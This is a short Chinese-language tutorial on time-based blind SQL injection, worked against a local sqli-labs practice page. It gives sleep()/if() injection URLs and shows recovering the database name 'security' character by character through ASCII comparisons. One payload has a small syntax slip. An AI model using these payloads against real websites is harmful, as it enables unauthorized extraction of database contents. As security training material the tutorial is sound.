SQL注入 字符型 延时注入
延时型语句: sleep(参数,任意正整数,一般为秒)
If (a,b,c)它的意思就是如果条件A成立,则输出结果B,否则输出结果C
条件语句:Id=1’and if (length长度(database(当前数据库())>1,sleep(5),0)
注意:并不是所有的站都有回显位置。 没有回显,用查询组合来判段
http://127.0.0.1/sqli/Less-5/index.php?id=1
字符型的用闭合的形式来判断
通过是否延时,判断数据库名的长度 8位 , %23 注释符
延时语句: sleep(5)
条件语句: if (length(database())>1,sleep(5),0)
1 是判断语句是否正确的
http://127.0.0.1/sqli/Less-5/index.php?id=1 and if (length(database())>1,sleep(5),0) %23
用延时爆数据库的第一步,查询数据库第一个字母
Ascii 码表
语句:Substr(str,pos,len) 把str 从 pos 位置开始截取len 长度的字符并返回
1罗列出
2第几位 (字符串,数组等方法是从0开始)在这里Pos的初始值是1
3截取的字母
http://127.0.0.1/sqli/Less-5/index.php?id=1 and If(ascii(substr(database(),1,1))>1,sleep(5)0)%23
从>1开始试,判断语句是否正确,若语句完全没问题,可以从63左右试,若确定是字母开头的从80开始试,提高效率。
以此类推,判断出数据库名
第2位字符 (substr(database(),2,1))>1 , 第3位字符 (substr(database(),3,1))>1
数据库 ASCII 值 security
115 s 101e 99 c 117 u 114 r 105 i 116 t 121 y
来源:https://blog.csdn.net/AmyBaby00/article/details/99306001